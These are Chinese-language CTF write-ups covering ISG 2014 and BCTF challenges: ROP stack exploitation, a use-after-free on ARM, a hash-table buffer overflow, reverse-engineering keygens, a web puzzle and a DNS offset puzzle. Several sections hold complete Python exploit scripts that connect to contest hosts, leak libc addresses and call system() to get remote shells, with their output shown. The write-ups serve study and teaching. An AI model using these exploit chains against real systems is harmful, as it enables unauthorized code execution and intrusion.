64位ELF binary,漏洞很明顯但考驗利用能力,stack 不可執行要 ROP。
一開始在 .text 裡沒有仔細找 gadget,導至 exploit 變得很複雜...
.text:00000000004005BD push rbp
.text:00000000004005BE mov rbp, rsp
.text:00000000004005C1 sub rsp, 10h
.text:00000000004005C5 mov edi, 3Ch ; seconds
.text:00000000004005CA call _alarm
.text:00000000004005CF mov edx, 13h ; n
.text:00000000004005D4 mov esi, offset aPwnMeIfYouCan
.text:00000000004005D9 mov edi, 1 ; fd
.text:00000000004005DE call _write
.text:00000000004005E3 lea rax, [rbp-0x10]
.text:00000000004005E7 mov edx, 100h ; nbytes
.text:00000000004005EC mov rsi, rax ; buf
.text:00000000004005EF mov edi, 0 ; fd
.text:00000000004005F4 call _read
.text:00000000004005F9 mov eax, 0
.text:00000000004005FE leave
.text:00000000004005FF retn
利用 .text:4005E3
,控制好 rbp 則可以對任意位址寫入;
.text:4005D9
則可以用來洩漏內存 (rsi 的值先由 .text:4005E3
設好)。
要注意 rsp 會被 leave
破壞掉,因此必須適當的控制 rbp,使得棧的內容保持在可控狀態,ROP 鍊才能繼續下去。
洩漏 read@libc 的 ROP 如下,
send("A"*16 +
Q(0x601040) + //rbp main
Q(0x4005E3)) //ret main -> (1)
send( Q(0x601048) + //.got:0x601030 rbp (2)
Q(0x4005D9) + //.got:0x601038 ret (2) -> (3)
Q(0x601030) + //.got:0x601040 rbp (1)
Q(0x4005E3)) //.got:0x601048 ret (1) -> (2)
send("A") //送點東西,略過 (2) 裡的 read
(1) 中 rbp = 0x601040, 讀取之後的 ROP chain 到 0x601030
(2) 中 rbp = 0x601030, rsp = 0x601040, 這步驟是為了設好 rsi = 0x601020
(3) 中 rbp = 0x601040, rsp = 0x601030, write 洩漏 0x601020 開始的內容
之後 (3) 後半段的 read
讀取 ROP chain 到 0x601030,(3) 執行到 ret
後便會接著繼續跳轉。
首先接續 ROP 如下,目地是大量洩漏 libc 裡的內容,用來尋找有用的 ROP gadget。
利用的是 .text:40065A
+ .text:400640
,可以設定 rsi, rdx,rdi 留給 write 前的 mov edi, 1
就行了。
// 此為前一步讀進來的 ROP chain,位址在 .got:[601030:601070],開始時 rsp = 0x601030
send( Q(0x40065A) + // ret
Q(0) + // rbx
Q(0) + // rbp
Q(0x601070) + // r12
Q(dump_size) + // r13 -> rdx
Q(read@lib + offset) + // r14 -> rsi
Q(0) + // r15
Q(0x400640) + // ret
Q(0x4005D9)) // .got:601070 - 給 call qword ptr [r12+rbx*8] 跳的位址
Dump libc 後找到一些重要的 gadget:
- pop_rax_ret = libc_read + 52203
- pop_rdx_ret = libc_read + 117061
- pop_rdi_ret = libc_read + 315
- pop_rsi_ret = libc_read + 6786
- syscall_ret = libc_read + 61685
這之後就簡單了,利用 ROP 做出 sys_execve( "/bin/sh", {"/bin/sh", 0}, {0} )
即得 shell。
中間遇到一個小問題:sys_execve 時會 crash 但 sys_write 卻不會,後來猜測是 rsp 會超出可寫段 0x601000,
先把 rsp 移到 0x601800 後就成功了。
ISG{nicejob_you_got_me_pwned}
Exploit source code: isg2014 - pwnme.py
基本上就是重新把檢查的部份實作出來,這個用 IDA decompile 的結果,加上有給 0x66666667 這個提示,看似很複雜的乘法和位運算其實是 /10 的意思。把每個檢查的條件式分開來看,會發現函式中第一個回圈所有條件判斷和賦值只跟第0,1,2,3,4,5,7,10,11位(padding後)有關,直接搜的時間是可以接受的。
最後第二個迴圈比對20位原本key與函式生成的20位key,由於如果第一個迴圈檢查通過,則函式生成的20位key即為正確的key,所以直接把剩下位數還沒搜的key直接丟去跑,抓出函式生成的20位key即為flag。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define LOBYTE(x) ((char*)&x)[0]
#define BYTE1(x) ((char*)&x)[1]
#define BYTE2(x) ((char*)&x)[2]
#define BYTE3(x) ((char*)&x)[3]
#define _BYTE char
#define _WORD short
char key[20] = {0x00};
char sub_401000(char* a1,char* a2,char* a3){
int v4; // edi@1
signed int v5; // ecx@1
char v6; // ST20_1@1
signed int v7; // ST18_4@1
signed int v8; // ecx@1
char v9; // al@1
signed int v10; // ecx@1
signed int v11; // ebx@1
signed int v12; // edx@1
char result; // al@1
v4 = a1[1];
v5 = v4 * a2[1];
v6 = v5 % 10;
v7 = v5 / 10 + a2[1] * a1[0];
v8 = v4 * a2[0];
v9 = v8 % 10;
a3[2] = v9;
v10 = v8 / 10 + *(_BYTE *)a2 * a1[0];
a3[3] = v6;
v11 = v7 % 10 + v9;
a3[2] = v11 % 10;
v12 = (v11 / 10 + v10 % 10 + (signed int)(char)(v7 / 10)) / 10;
a3[1] = v11 / 10 + v10 % 10 + v7 / 10 - 10 * v12;
result = v12 + ((unsigned int)v12 >> 31) + v10 / 10;
a3[0] = result;
return result;
}
int func1(){
char *v0; // ebx@1
int v1; // esi@1
char v2; // ST14_1@1
char v3; // ST10_1@1
char v4; // ST0C_1@1
signed int v5; // ecx@1
char v6; // al@2
char v7; // ch@10
int v8; // edx@12
signed int v9; // edi@12
int v10; // eax@12
signed int v12; // edx@14
int v13; // eax@14
int v14; // edx@14
signed int v15; // edx@14
char v16; // cl@14
char v17; // al@15
char v18; // dl@15
int v19; // edx@17
char v20; // bl@17
int v21; // zf@21
char v22; // bl@22
char v23; // bh@24
int v24; // edi@24
int i; // ecx@28
char v27; // [sp-4h] [bp-9Ch]@1
int v28; // [sp+Ch] [bp-8Ch]@14
int v29; // [sp+10h] [bp-88h]@34
int v30; // [sp+14h] [bp-84h]@11
int v31; // [sp+18h] [bp-80h]@20
int v32; // [sp+1Ch] [bp-7Ch]@14
int v33; // [sp+20h] [bp-78h]@31
int v34; // [sp+24h] [bp-74h]@36
int v35; // [sp+28h] [bp-70h]@35
int v36; // [sp+2Ch] [bp-6Ch]@18
int v37; // [sp+30h] [bp-68h]@13
unsigned int v38; // [sp+34h] [bp-64h]@14
int v39; // [sp+38h] [bp-60h]@14
int v40; // [sp+3Ch] [bp-5Ch]@12
char v41[4]; // [sp+40h] [bp-58h]@14
char v45; // [sp+46h] [bp-52h]@10
char v46; // [sp+47h] [bp-51h]@12
char v47[16]; // [sp+48h] [bp-50h]@1
char v48; // [sp+58h] [bp-40h]@9
char v49; // [sp+5Ch] [bp-3Ch]@12
short v50; // [sp+5Dh] [bp-3Bh]@12
char v51; // [sp+5Fh] [bp-39h]@12
int v52; // [sp+60h] [bp-38h]@12
short v53; // [sp+64h] [bp-34h]@12
char v54; // [sp+66h] [bp-32h]@12
char pada[100];
char buf[20];
char padb[100];
unsigned int v60; // [sp+84h] [bp-14h]@1
char *v61; // [sp+88h] [bp-10h]@1
int v62; // [sp+94h] [bp-4h]@1
int v63; // [sp+98h] [bp+0h]@1
//memcpy(v47,key,17);
//memset(buf,-1,20);
//
memcpy(buf,key,20);
v61 = &v27;
v1 = 0;
buf[5] = 1;
buf[8] = 8;
buf[12] = 0;
buf[14] = 7;
v62 = 0;
/*v5 = 0;
while ( 1 )
{
v6 = v47[v5];
if ( v6 < 48 )
break;
if ( v6 > 57 )
break;
for ( ; buf[v1] != -1; ++v1 );
buf[v1] = v6 & 0xF;
++v5;
++v1;
if ( v5 >= 16 )
break;
}
if ( v5 < 16 )
{
return 0;
}
if (!buf[0])
{
return 0;
}*/
v7 = *(int*)buf;
v45 = *(int*)buf;
v46 = buf[1];
v50 = *(short*)(buf + 1);
v51 = buf[3];
v52 = *(int*)(buf + 4);
v53 = *(int*)(buf + 8);
v54 = buf[10];
v8 = 0;
v49 = v7;
v9 = 11;
v40 = 2;
v10 = 0;
while ( 1 )
{
v37 = v10;
if ( v10 >= 2 )
break;
v28 = v8 + 1;
v12 = ((int)*(char*)(buf + 4 + v8 + 3)) * buf[6];
v13 = v12;
LOBYTE(v13) = v12 % 10;
//v43 = v12 % 10;
v39 = v13;
v14 = v12 / 10 + ((int)*(char*)(buf + 4 + v8 + 3)) * buf[4 + 1];
v32 = v14;
v38 = v14 / 10;
v16 = v14 / 10;
//v42 = v32 - v16;
//v41[0] = v14[0] / 10;
if ( v7 != (_BYTE)v32 - v16 || (v17 = v46, v18 = v39, v46 <= (char)v39) || (_BYTE)v38 )
{
return 0;
}
*(&v49 + v9) = (char)(v32 - v16);
*((_BYTE *)&v50 + v9) = v18;
v7 = v17 - v18;
v19 = v40;
*((_BYTE *)&v50 + v9 + 1) = v7;
v20 = *(char*)(buf + v19);
*(&v51 + v9) = v20;
v9 += 4;
v45 = v7;
v46 = v20;
v40 = v19 + 1;
if ( !v7 )
{
return 0;
}
v8 = v28;
v10 = v37 + 1;
}
v21 = (v7 == buf[5]);
if ( v7 > buf[5] || (v22 = v46, v21) && v46 >= buf[6] ){
return 0;
}
v23 = *(char*)(buf + v40);
*(&v49 + v9) = v23;
v24 = v9 + 1;
sub_401000(buf + 5,buf + v8 + 7,v41);
//printf("%d %d %d %d\n",v41[0],v41[1],v41[2],v41[3]);
//printf("%d %d %d\n",v45,v22,v23);
if ( v41[0] || v41[1] != v45 || v41[2] != v22 || v41[3] != v23)
{
return 0;
}
for(i = 0;i < 20;i++){
printf("%d",buf[i] & 0xf);
}
printf("\n");
return 1;
}
int main(){
for(key[0] = 1;key[0] < 10;key[0]++){
for(key[1] = 0;key[1] < 10;key[1]++){
for(key[2] = 0;key[2] < 10;key[2]++){
for(key[3] = 0;key[3] < 10;key[3]++){
for(key[4] = 0;key[4] < 10;key[4]++){
for(key[6] = 0;key[6] < 10;key[6]++){
for(key[7] = 0;key[7] < 10;key[7]++){
for(key[10] = 0;key[10] < 10;key[10]++){
for(key[11] = 0;key[11] < 10;key[11]++){
if(func1()){
printf("ok\n");
return 0;
}
}
}
}
}
}
}
}
}
}
return 0;
}
weibo.com > 搜尋 @BCTF百度杯网络安全技术对抗赛 >
關注並 @BCTF百度杯网络安全技术对抗赛 > 等待十分鐘 >
FLAG: BCTF{W31c0m3_T0_BCTF}
這是一題 ARM 架構 reverse 題,用來包裝的 apk 中有個 libbctfjni.so,其中有 JNI1 ~ JNI6 六個函數。而主程式的 java 部份很簡單: 傳入 24 byte 的字串給 JNI1,然後有個 callback 中會檢查回傳值 (3 byte) 正不正確。
我們分頭研究 JNI1 ~ JNI6,試圖理解它們在做什麼,幾個重點如下:
- JNI1 會根據字串第 [0], [4], [8], [12], [16], [20] 位的值,決定 JNI 1~6 之後要接著呼叫誰,只能指定一個。
- JNI2 ~ JNI6 包含一些對字符本身的限制,例如 [7]>[5], [1]=[7], [2]是數字, [6]是大寫字母 ...
- JNI5 把字串前半段和後半段對調
- JNI2 將字串後半段移到前半段,並且之後長度/2
- JNI6 將字串折半 xor ,再折半 xor,所以總長度/4
我們一開始是假設所有函式恰被用過一次,也就是一個 1 ~ 6 的排列。JNI1 一定是第一個沒有問題,再來 JNI6 一定是最後一個,否則它回傳的字串長度已經太短了。而 JNI2 是倒數第二個,因為其中只有 JNI6 是只需要看 12 byte 的。剩下的 JNI 3,4,5,我們則發現不論順序怎麼排列,一定會有無法成立的條件 ... 為此我們再三檢查有沒有看錯 (ARM 沒有很熟練),然後一無所獲。
直到第一個提示出現,我們立刻果斷丟掉 JNI4,結果一切都說得通了。我們得到函式的呼叫順序是 1,5,3,2,6,7(end),這裡得到的字串是:
I...i...s... ... ...e...
接下來套上 JNI5 的限制,會得到
[0]=[6]+2=[9]+8, [1]=[7]=[12]=[16], [4]=[5]-5=[13]+3=[20]+4=[2]+7=[17]-4, [8]=[11]-1=[19]
I b.inG sA.t f.. m.se...
R l or Y lf (猜測得來的,其中 R-Y 符合了 [3]+7=[18],是很強力的條件)
這裡已經有點看得出樣子了,接下來加上 JNI3, JNI2 檢查和確定大小寫或數字等。最後 JNI6 加上後,我們發現最後一位沒辦法確定
I bRinG sA1t f0r mYse1f.
不過由大小的限制我們知道它是一個小於 48 的符號,可能的組合不多。我們嘗試了 .?! 後,發現正確的 key 如下:
I bRinG sA1t f0r mYse1f!
ARM 架構 ELF,還好前幾次 CTF 看了不少 ARM,這次的 "解锁密码" 這題多少也幫忙複習了一下,理解代碼上還算容易。我們一開始先試著弄清 course data 的 36 bytes 結構。其中 "prerequisite Course" 這點很有趣,我們注意到在 list 這個操作中,prerequisite 會包含 course name 和 instructor。這表示在 list 這個操作顯示一門課程時,會需要參考到預備課程中的資料。進一步研究,我們發現它會呼叫預備課程 (x) 上的一個函式指針 (x+0x8),正常情況下它指向 0x8878,一個印出像是 "BATT-1 a instructed by xxx" 這個字樣的函式。
但我們發現,在 remove 課程後,並沒有清除指向該課程 (x) 的指針。雖然在呼叫 (x+0x8) 時會先檢查 x[0:4] 的值是否為 0x13373713,但這個其實我們也可以控制。在被釋放後,malloc() 會重新使用同樣大小 (或同一個 chunk) 的 memory,當我們再新增一門課程時,最先建立的是用來存放 course name 的區塊。只要把 name 的長度也設為 36 byte,便會覆蓋到原本被移除的課程上。當 list 再次呼叫 (x+0x8) 時,我們就掌握了控制權。
由於 stack 無法執行,需要定位 system() 的位址。在這裡我們使用原本用來印出預備課程資訊的 0x8878,但把原先指向課程名的 (x+0xc) 改為 .got 段上 write() 的欄位。這樣我們可以讀出 write() 在 libc.so 裡的位址,加上本地計算出的偏移量就可以得到 system() 的位址了。有了 system() 後,我們直接讓指針 (x+0x8) 指向 system(),但這時被傳入的參數是結構 (x) 本身,無法控制。因此我們把結構填滿非 0 值,並用 ';' 隔斷真正需要的指令,system() 會多報幾個 command not found 但還是能得到結果。
import socket
import time
import struct
import re
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,6)
s.connect(('218.2.197.248',4321))
m = b'\x13\x37\x37\x13bbbb\x79\x88\x00\x00\x3c\x11\x01\x00\x3c\x11\x01\x00'
s.send(b'a\n1\n1\n1\n1\n1\n')
s.send(b'a\n1\n1\n1\n1\n1\n')
s.send(b'r\n1\n')
s.send(b'a\n36\n' + m + b'\n36\nbbbbbbb\n2\n')
s.send(b'c\n')
time.sleep(0.5)
buf = s.recv(65536)
a, = struct.unpack('I',buf.split(b'Prerequisite: BATT-0 ')[1][:4])
x = a - 0x896a0 + 0x2ea39
print('write() address = '+hex(a))
print('system() address = '+hex(x))
for i in range(3,100,2):
cmd = ';'+raw_input('$ ')+';'
m = b'\x13\x37\x37\x13bbbb' + struct.pack('I',x) + cmd
s.send(b'a\n1\n1\n1\n1\n%d\n'%i)
s.send(b'a\n1\n1\n1\n1\n%d\n'%(i+1))
s.send(b'r\n%d\n'%(i+1))
s.send(b'a\n36\n' + m + b'\n36\nbbbbbbb\n2\n')
s.send(b'c\n')
time.sleep(0.5)
buf = s.recv(65536)
print re.findall('not found\n(.*)\nBATT',buf,re.DOTALL)[0]
執行代碼,得到 shell:
$ python course.py
write() address = 0xb6ef76a0
system() address = 0xb6e9ca39
# ls /home
course
# ls /home/course
course
flag
# cat home/course/flag
BCTF{Y0u_4R3_b3Tt3r_tH4n_MiTnIcK}
#
分分鐘而已 (Web 100)
描述
米特尼克看到現代的互聯網這麼發達簡直驚呆了,但幾秒鐘之後他就回過了神,摩拳擦掌準備一試身手,他需要拿到BAT公司中一個名叫Alice員工的秘密文件,Alice只是個初級的網絡管理員,所以想來拿他的文件也不過是分分鐘的小遊戲而已。
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php
解法
連進去之後發現上面有四個分頁,分別寫著
- H.shao
- Lamos
- Angella
- Ray
戳戳之後可以看到網址列上有所改變,例如戳 Ray 之後網址列會變成:
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=8d44a8f03ab5f71ce78ae14509a03453
把 8d44a8f03ab5f71ce78ae14509a03453
拿去搜索後得知這是 Ray300
的 MD5 值。合理猜測那串 id
應該是人名加上三位數字做 MD5 而得。
因為我們想要拿到 Alice 的文件,就把 1000 種可能都試看看吧:
require 'digest'
1000.times do |i|
puts i
url = "http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php"
url << "?id=#{Digest::MD5.hexdigest('Alice%d' % i)}"
html = `curl -s #{url}`
puts url unless html.include?"Who are you ?"
end
$ ruby web100.rb
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=d482f2fc6b29a4605472369baf8b3c47
連上之後可以看到
Hi! Alice
Personal Information:d4b2758da0205c1e0aa9512cd188002a.php
立馬連上去之後看到一張 BackTrack Linux 的桌布,檢視原始碼:
error<html>
<head><title>BT5</title></head>
<body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;">
<!-- $_POST['key=OUR MOTTO'] -->
</body>
</html>
好,就送他個 key=OUR MOTTO
$ curl --data 'key=OUR MOTTO' http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php
error<html>
<head><title>BT5</title></head>
<body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;">
<!-- $_POST['key=OUR MOTTO'] -->
</body>
</html>
還是 error
嗚嗚嗚。
因為英語水平不好,查了才知道 motto 是啥,從 BackTrack 官網右上角發現一句話!
$ curl --data 'key=the quieter you become the more you are able to hear' http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php
flag-in-config.php.bak<html>
<head><title>BT5</title></head>
<body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;">
<!-- $_POST['key=OUR MOTTO'] -->
</body>
</html>
歐歐歐!
$ curl http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/flag-in-config.php.bak
.......................................................................................... .........
.......................................................................................... .........
.................................mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm............. .........
.........................mmmmmmmmmmmmmmmm..................................mmmmm.......... .........
...................mmmmmmmmmmm..........mmmmm...............mm................mmm......... .........
.................mmmm............................................mm.............mmm....... .........
..............mmmm....m..mmmmmm............mmm..............mm......m............mmm...... .........
............mmmm.................................................mm....m..........mmm..... .........
...........mmm............mmmmm....................m..........mmm...m....m.........mmm.... .........
..........mm...........m.........................m................mm...m....m.......mmm... .........
..........mm.........m............m..................................m..m....m.......mm... .........
..........mm........m..................................................m..m...........mm.. .........
.........mm..........................................mmmmmmmmmmmmmm...................mmm. .........
........mmm............mmmmmmmm...................mmmmm...mmmmmmmmmmmm.................mmm .........
....mmmm...........mmmmmmmmmmmmmm.............mmmm......mmmmmmmm..mmm..................mmm .......
...mmm...mmmmm.mmm.mmmmmmmmmmmmmmm...........mmm.....mmmmmmmmmmmmmmmmm....m....mmmmmmmm.mm mm.....
..mm...m..................mmmmmmmmmmmmm.......mmmmmmmmm...........mm...m.................. mmm....
.mm..m...mm.....................mmmm...........mmmmm......mmm..............mmmmmmmmmm..... ..mm...
.mm.m..m...mmmmmm................mm.........................mmmm.......mmmmmm......mmmm... .m.mm..
.mmm.....mmmmmmmmmm....m.........mm...........................mmmmmmmmmmm.....mm.....mmm.. .m..mmm
.mmm.....m.......mmmmmmmm........mm...........................................mm......mm.. .m..mmm
.mmm..m.......mm..mmmm........mmmm.........................................mmmmm.......mm. .m...mm
.mm....m......mm...........mmmm................mmmmmmmm................mmmmm...mmmmmm..mm. .m...mm
.mmmm...mm..mmmm..........mmmmm....................mm..............mmmmmm.....mmm.mmm.mmm. .m..mmm
..mm.mm.....mmmm.......mm..mmmmm.........mmmmmmm...mm..........mmmmmmm........mm......mm.. ....mmm
..mmm....m..mm.mmm...m........mmm..............m.mmm......mmmmmmmm.mm.......mmmm.....mm... m..mmm.
...mmm.....mmmmmmmmm............mmmmmm...............mmmmmmmm......mm....mmmmmm.........mm ..mm...
....mmm....mm.mm.mmmmmm...........mmm...........mmmmmmmm..........mmm.mmmmmmmm.......m.... .mmm...
.....mm....mmmm..mm..mmmmmmmm........mmmmmmmmmmmmmm..mm..........mmmmmmm..mmm..........mmm mm.....
.....mm....mmmm..mm....mmmmmmmmmmmmmmmmmmmm..........mm......mmmmmmmm....mmm............mm m......
.....mm....mmmm..mm...mmm.......mm.......mm..........mmm.mmmmmmmmm.mm...mmm...........mmm. .......
.....mm....mmmmmmmm...mm........mm.......mm.........mmmmmmmmmmm....mm..mmm...........mmm.. .......
.....mm....mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.......mmmmmm............mm... .......
.....mm....mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.mm...........mmm.............mmm... .......
.....mm.....mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.......mm.........mmm..............mmm.... .......
.....mm.....mm.mmmmmmmmmmmmmmmmmmmmmmmmmmm.mm..........mmm.....mmmm...............mmm..... .......
.....mm......mm.mm..mm...mm.....mmm........mm...........mm...mmmm...............mmm....... .......
.....mm......mmmmmm.mmm...mm.....mm........mm............mmmmmm................mmm........ .......
.....mm.......mmmm...mmm..mmm....mm........mm.........mmmmmm.......m.....m...mmm.......... .......
.....mm.........mmmmmmmmm..mm....mmm.......mm..mmmmmmmmm........m.....mm...mmmm........... .......
.....mm..............mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.........mm....mm....mmmm ...............
....mmm........m..........................................m.....mm....mmmmm.. ..............
....mm..........m....................................mm......m.....mmmmm..... ..............
....mm............m..............................mm......mm.....mmmmm........ ..............
..mm.....mm........mmm...........mmmmmmmmmm......mm.......mmmmmm....... ............
.mm.........m.........................mmm............mmmmm...... ........
.mmm..........mmmmmmmmmmmmmmm.....................mmmmm...... ....
.mmm..........................................mmmmm...... ..
..mmm...................................mm.mmmmm.......
...mmmm............................mmmmmmmmmm........
....mmmmm...................mmmmmmmmm..............
.......mmmmmmmmmmmmmmmmmmmmmmmm....................
被嘲笑了。
換招試試:
$ curl http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/config.php.bak
[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])]...(下略)
這長得一臉 JavaScript 樣呀,在 Chrome 的 console 中引入 jQuery 後
> $.get("http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/config.php.bak", function(data) { console.log(eval(data)); })
BCTF{fuck_the_guys_who_are_exchanging_fl4g_you_are_destroying_this_game}
耶比...?BCTF{fuck_the_guys_who_are_exchanging_fl4g_you_are_destroying_this_game}
註:比賽中我們拿到的 Flag 為 BCTF{Do_you_l0v3_pl4y_D074}
主要的功能都在 sub_8049340() 裡,挺巨大的一個函式。其中會造成漏洞的,第一個是在用來 add hacker 的函式 sub_80489E0()。這裡用了一個 hash 函數 sub_8048920() 和 hash table 記錄出現過的 ID,但 add hacker 前沒有檢查是不是 hash table 已經滿了。這使得我們可以覆蓋任意 id 原本的資料,並且將當前的 id 指定為他。
n = strlen(name);
hash_value = sub_8048920(name);
id = hash_value;
for ( i = 0; i < 1338; i++ ) {
id = (hash_value + i) % 1337;
if ( !tb[(hash_value + i) % 1337] ) break;
if ( !strcmp(table[(hash_value + i) % 1337]->name, name) )
return (hash_value + i) % 1337;
}
ptr = malloc(0x38u);
ptr->id = id;
memcpy(ptr->name, name, n);
table[id] = ptr;
return id;
接下來我們在處理 show 這個操作的代碼中,發現在 currentID=0 時,這個 id 會被當做是 admin,nameLength 會直接被設成 5。這會使得之後的 limit 值被高估,memcpy() 時造成 buffer overflow,可以 overflow 的長度大約是 35 byte。
idLength = numOfDigits(currentID) + 8;
nameLength = currentID ? strlen(table[currentID]->name) : 5;
ageLength = numOfDigits(table[currentID]->age);
genderLength = table[currentID]->gender?4:6;
total = ageLength + genderLength + (idLength + nameLength + 6) + 10 + 8;
limit = 127 - total;
if ( strlen(table[currentID]->info) > limit ){
memcpy(buf+total, table[currentID]->info, n);
}else{
memcpy(buf+total, table[currentID]->info, strlen(table[currentID]->info));
}
這個 buffer overflow 足以改寫掉返回位址。我們先試著找出 libc 的基底位址,藉助 gdb 我們很快的發現 buf+0x94 處的值跟 main() 返回到 __libc_start_main() 裡的位址之間的差是固定的。show 操作的時候可以接上長度正確的 info 字串,印出 buf+0x94 處的值,就可以定出 system() 和 gets() 的位址。之後我們先用 gets() 把 shell 命令讀取到 .bss 段上(0x0804c548 是原本 hash table 的位址),再接著跳轉到 system() 執行命令。完整代碼如下:
import socket
import struct
import sys
import time
st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.245',31337))
hh = open('hash_table','r').read().split('\n')[:-1]
def W(x):
st.send(x+'\n')
def Wait(x=' >> '):
time.sleep(0.2)
rr = ''
while True:
s = st.recv(4096)
rr += s
if x in s:
return rr
for i in range(1,1337):
W('add '+hh[i])
W('add aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadwvzm')
Wait('added to system with id 0')
W('info aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxx0AAAABBBBAAAABBBBAAAA')
Wait()
W('show')
s = Wait()
s = s[s.find('AAAABBBBAAAA')+20:][:4]
libc_base = struct.unpack('I',s)[0]-0x19406b+0x409e-0x19993
print 'libc_base @ '+hex(libc_base)
gets = libc_base+0x661a0
system = libc_base+0x3ea70
W('info aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'+\
struct.pack('I',gets)+\
struct.pack('I',system)+\
struct.pack('I',0x0804c548)+\
struct.pack('I',0x0804c548))
Wait()
W('show')
Wait()
st.send('exit\n')
s = raw_input()
st.send(s+'\n')
while True:
s = st.recv(4096)
if len(s)==0:
break
sys.stdout.write(s)
sys.stdout.flush()
Key: BCTF{2h3_sH1_Y1=G3=H4o^w4n^d3%F14G}
內網探險 (Misc 200)
描述
為了收集更多參加 BCTF 大賽的中國黑客朋友的信息,米特尼克決定嘗試滲透進入 BCTF 的內網以獲取更多的信息。通過信息蒐集和網絡監聽,他發現了進入內部數據庫的一個入口代理,並且在代理入口處拿到了少量流量數據。正當他想繼續收集更多信息的時候,他的行跡被發現並被踢出了網絡。
http://bctf.cn/files/downloads/misc200_23633b6b34ccf6f2769d35407f6b2665.pcap
入口代理:218.2.197.236:12345
提示
- DNS
- 構造數據包
解法
下載存成 misc200.pcap
,先來看看裡面有啥。
$ tshark -r misc200.pcap
1 0.000000 202.112.50.172 -> 218.2.197.236 DNS 75 Standard query 0x1234 A shadu.baidu.com
2 5.823182 202.112.50.172 -> 218.2.197.236 DNS 79 Standard query 0x4321 A bctf.secret.server1
看起來是個正常的 DNS 查詢,來連看看入口代理:
$ nc 218.2.197.236 12345
Welcome to proxy system. Pleas enter secret servers information to login.
IP address of host "bctf.secret.server1":
IP address of host "bctf.secret.server2":
IP address of host "bctf.secret.server3":
IP address of host "bctf.secret.server4":
Accessing secret servers, please wait ......
Proxy cannot access the secret servers. Please input IP addresses again
那就來問問看入口代理這幾台的 IP 吧:
$ nslookup bctf.secret.server1 218.2.197.236
Server: 218.2.197.236
Address: 218.2.197.236#53
Name: bctf.secret.server1
Address: 87.61.45.59
$ nslookup bctf.secret.server2 218.2.197.236
Server: 218.2.197.236
Address: 218.2.197.236#53
Name: bctf.secret.server2
Address: 87.4.98.152
$ nslookup bctf.secret.server3 218.2.197.236
Server: 218.2.197.236
Address: 218.2.197.236#53
Name: bctf.secret.server3
Address: 249.78.85.56
$ nslookup bctf.secret.server4 218.2.197.236
Server: 218.2.197.236
Address: 218.2.197.236#53
Name: bctf.secret.server4
Address: 13.228.21.29
看起來很不像內網 IP 呀,不過還是試試看吧:
$ nc 218.2.197.236 12345
Welcome to proxy system. Pleas enter secret servers information to login.
IP address of host "bctf.secret.server1":
87.61.45.59
IP address of host "bctf.secret.server2":
87.4.98.152
IP address of host "bctf.secret.server3":
249.78.85.56
IP address of host "bctf.secret.server4":
13.228.21.29
Accessing secret servers, please wait ......
Proxy cannot access the secret servers. Please input IP addresses again
失敗了嗚嗚,為什麼呢?讓我們試看看問它其他東西。
$ nslookup 1.1.1.1.xip.io 218.2.197.236
Server: 218.2.197.236
Address: 218.2.197.236#53
Non-authoritative answer:
1.1.1.1.xip.io canonical name = a105d.xip.io.
Name: a105d.xip.io
Address: 78.61.44.27
$ nslookup 2.2.2.2.xip.io 218.2.197.236
Server: 218.2.197.236
Address: 218.2.197.236#53
Non-authoritative answer:
2.2.2.2.xip.io canonical name = k20aq.xip.io.
Name: k20aq.xip.io
Address: 79.62.45.28
有詐!1.1.1.1.xip.io
應該要解出 1.1.1.1
才對呀,從這兩次的回應看來這個入口代理應該是加上了 77.60.43.26
的偏移量。
根據這個偏移量修正一開始拿到的 IP:
def ip_sub(ip1, ip2)
ip1 = ip1.split('.').map(&:to_i)
ip2 = ip2.split('.').map(&:to_i)
4.times
.map {|i| (ip1[i] - ip2[i] + 256) % 256}
.map(&:to_s)
.join('.')
end
puts ip_sub(ARGV[0], ARGV[1])
$ ruby ip_diff.rb 87.61.45.59 77.60.43.26
10.1.2.33
$ ruby ip_diff.rb 87.4.98.152 77.60.43.26
10.200.55.126
$ ruby ip_diff.rb 249.78.85.56 77.60.43.26
172.18.42.30
$ ruby ip_diff.rb 13.228.21.29 77.60.43.26
192.168.234.3
$ nc 218.2.197.236 12345
Welcome to proxy system. Pleas enter secret servers information to login.
IP address of host "bctf.secret.server1":
10.1.2.33
IP address of host "bctf.secret.server2":
10.200.55.126
IP address of host "bctf.secret.server3":
172.18.42.30
IP address of host "bctf.secret.server4":
192.168.234.3
Accessing secret servers, please wait ......
Success!
BCTF{W31c0m3_70_0ur_53cr37_53rv3r_w0r1d}
耶比 BCTF{W31c0m3_70_0ur_53cr37_53rv3r_w0r1d}
沒什麼好說的,就是個正常的 ICPC BFS 題。
